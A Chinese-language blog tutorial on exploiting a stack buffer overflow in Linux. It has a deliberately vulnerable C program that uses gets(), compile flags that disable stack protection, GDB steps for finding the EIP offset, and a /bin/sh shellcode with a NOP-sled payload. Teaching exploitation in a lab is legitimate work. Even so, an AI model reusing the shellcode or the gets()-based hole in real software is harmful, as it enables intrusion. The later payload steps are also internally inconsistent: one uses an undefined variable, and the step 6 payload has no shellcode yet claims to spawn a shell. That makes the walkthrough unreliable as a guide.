首页 > 系统相关 >【linux漏洞】环境搭建

【linux漏洞】环境搭建

时间:2024-11-14 21:46:07浏览次数:1  
标签:EIP 漏洞 gdb program 缓冲区 linux 堆栈 shellcode 搭建

第一步:设置环境

1.1 安装所需工具

在开始之前,确保你的 Linux 机器上安装了以下工具:

GCC (GNU 编译器集合): 用于编译我们的易受攻击程序。
GDB (GNU 调试器): 用于调试程序和检查内存。
Python: 用于制作 payload。
pwntools (可选): 一个帮助开发漏洞利用的 Python 库(后期有用)。

你可以通过以下命令安装这些工具:

sudo apt update
sudo apt install gcc gdb python3 python3-pip
pip3 install pwntools

第 2 步:编写一个易受攻击的程序

让我们创建一个简单的 C 程序,该程序易受基于栈的缓冲区溢出攻击。我们将使用不安全的gets()函数来读取用户输入而不进行边界检查,从而导致潜在的缓冲区溢出。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vulnerable_function() {
    char buffer[64];  // Stack buffer with limited size
    printf("Enter some input:\n");
    gets(buffer);  // Vulnerable function: gets() doesn't check input size
    printf("You entered: %s\n", buffer);
}
int main() {
    vulnerable_function();
    return 0;
}

2.1 编译程序

在编译时,我们将禁用堆栈保护(如金丝雀和堆栈保护)以使利用变得更容易:

gcc -fno-stack-protector -z execstack -o vuln_program vuln_program.c

-fno-stack-protector 标志禁用了堆栈保护器,-z execstack 使堆栈可执行(允许运行 shellcode)。

第 3 步:分析程序并触发漏洞

3.1 运行程序

正常运行程序以了解其行为:

./vuln_program

它会要求你输入内容。由于缓冲区只有 64 字节,输入超过这个长度的内容将会导致溢出。现在,输入:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

你应该会看到程序因段错误而崩溃。溢出可能已经覆盖了部分堆栈。

3.2 使用 GDB 检查堆栈

现在,让我们使用 GDB 检查内存,看看底层发生了什么:

gdb ./vuln_program

在 gets() 函数之前设置一个断点,以便在溢出之前检查内存:

(gdb) break gets
(gdb) run

当程序在断点处暂停时,使用以下命令检查堆栈:

(gdb) info registers
(gdb) x/20x $esp  # View the top of the stack

现在,再次输入相同的长字符串(64个A),观察内存的变化。你会注意到你输入的数据开始覆盖堆栈,包括保存的返回地址。

第 4 步:控制 EIP(指令指针)

基于堆栈的缓冲区溢出的目标是覆盖EIP(指令指针),它控制程序接下来要执行的内容。通过提供超过缓冲区容量的输入,你可以覆盖 EIP 并将执行重定向到你的有效载荷(shellcode)。

4.1 找到 EIP 的偏移量

要控制 EIP,你需要知道在到达堆栈上的保存返回地址之前需要输入多少字节。你可以使用模式生成来找到确切的偏移量:

python3 -c 'print("A" * 80)' | ./vuln_program

在 GDB 中检查崩溃发生的位置:

(gdb) info registers  # Check the value of EIP

你应该会看到 EIP 被部分输入覆盖。调整A的数量,直到找到覆盖 EIP 的确切偏移量。

第 5 步:编写 Shellcode

一旦你控制了 EIP,下一步就是将执行重定向到你的shellcode,它将生成一个 shell。以下是一些简单的 Linux shellcode,它会生成/bin/sh:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

5.1 创建有效载荷

你可以将这个 shellcode 与利用程序结合使用NOP 滑板,以增加落在 shellcode 上的机会。首先,使用 GDB 找到内存中缓冲区的位置,然后在 Python 中创建有效载荷:

python3 -c 'print("\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * (64 - 20 - len(shellcode)) + "BBBB" + "\x00\x80\x04\x08")' | ./vuln_program
NOP 滑板(\x90 * 20)有助于确保 EIP 会落在 shellcode 的某个位置。
缓冲区用A字符填充,直到达到缓冲区的长度。
BBBB用 NOP 滑板的地址覆盖 EIP,从而将执行重定向到 shellcode。

第 6 步:利用程序

使用你的利用载荷运行程序:

python3 -c 'print("A" * 64 + "\xef\xbe\xad\xde")' | ./vuln_program

如果一切设置正确,你应该会看到程序已被成功利用,并生成一个 shell。

标签:EIP,漏洞,gdb,program,缓冲区,linux,堆栈,shellcode,搭建
From: https://www.cnblogs.com/o-O-oO/p/18546909

相关文章

  • 【linux应用】解析 Linux 下 53 端口占用的现象
    在Linux系统中,端口53往往是与域名解析服务(DNS)相关的。本文将详细介绍一个与端口53相关的情景,以及如何使用命令行工具来解析和理解这一现象。现象用户可能会遇到类似以下的信息:systemd-r20245systemd-resolve13uIPv4216305calhost:domainsystemd-r202......
  • 云服务器搭建Alist网盘
    本来只想着弄离线下载,结果发现Alist还挺有意思的,就直接也搞一下吧,依旧是使用的雨云服务器,使用的是江苏宿迁的NAT模式服务器,配置为2核2G,便宜大碗。部署Alist使用docker部署,安装docker的文章很多,随便找一个就行,或者看我博客中的文章,里面也有创建目录mkdir/home/alis......
  • linux c --- 创建子进程 system() 与 exec() 的区别
    功能差异:system()函数的主要功能是执行一个系统命令,这个命令由用户通过命令行参数传递给system()函数。system()函数会创建一个新的进程来执行这个命令,并等待这个进程执行完毕后才返回。因此,system()函数主要用于执行简单的、可以通过命令行传递参数的系统命令。exec()函数则是......
  • 用两行命令快速搭建深度学习环境(Docker/torch2.5.1+cu118/命令行美化+插件),包含完整的
    深度学习环境的配置过于繁琐,所以我制作了两个基础的镜像,希望可以帮助大家节省时间,你可以选择其中一种进行安装,版本说明:base版本基于pytorch/pytorch:2.5.1-cuda11.8-cudnn9-devel,默认python版本为3.11.10,可以通过condainstallpython==版本号直接修改版本。dl版......
  • linux开机自启运行命令
    1、授权chmoda+x/etc/rc.d/rc.local2、编辑文件输入需要开机自启的命令vim/etc/rc.d/rc.local#格式是/usr/bin/nohup运行命令&#这种方式可以不用担心运行的命令是前台进程还是后台进程/usr/bin/nohup/usr/bin/java-jar/data/rocketmq-dashboard-1.0.1-SNAPSH......
  • openssh 漏洞修复 openssl升级 OpenSSH_9.8p1麒麟系统
    第一步:准备好要升级的包下图所示使用命令:yuminstall*.rpm或rpm-ivh*rpm 如果使用yuminstall*.rpm安装不了,在使用rpm-ivh*rpm提示已有旧的版本可以使用  rpm-Uvh*.rpm可以替换安装,根据不通的系统有可能安装后会重启不成功, 所以需要使用:sudosystemctls......
  • 校园交友系统的设计与实现(开源版+三端交付+搭建+售后)
    系统基础架构采用UniApp进行开发,UniApp是一个使用Vue.js开发所有前端应用的框架,它支持编译为H5、小程序、App等多个平台。使用PHP作为后端开发语言,PHP是一种广泛使用的开源脚本语言,尤其适用于Web开发,并可高效地与数据库进行交互。多端账号同步实现方式前后端数据交互:前端通......
  • 从0搭建一个FIFO模块-01(基础知识)
    1.FIFO介绍基本概念FIFO(FirstIn,FirstOut)是一种常用的数据结构,用于存储和处理数据。它的工作原理与排队的顺序类似,遵循"先进先出"的原则。即,第一个进入FIFO的数据会是第一个被取出的数据。在FPGA设计中,可以使用AM作为FIFO的存储单元,再通过控制逻辑来管理读写操作和指针......
  • 第23天Linux下常用工具(二)
    目录第四章GDB调试工具4.1gdb的作用4.2调试代码的流程4.3gdb的安装4.4gdb的使用第五章makefile工程管理工具5.1makefile的作用5.2makefile的运行5.3make的安装5.4makefile的编写方法5.5makefile的语法5.6makefile使用示例第四章GDB调试工具4.1gdb的作用代......
  • Linux基本指令(上)(1)
    文章目录前言一、touch二、mkdir三、ls四、pwd五、cd六、rmdir七、rm八、man九、cp十、mv总结前言我在引言篇并没有给出搭建Linux环境的具体措施,若有需求,你可以参考该篇博客搭建Linux环境的两种方式那作为第一课,在假设你已经成功完成了搭建的情况下,我们来学习一些......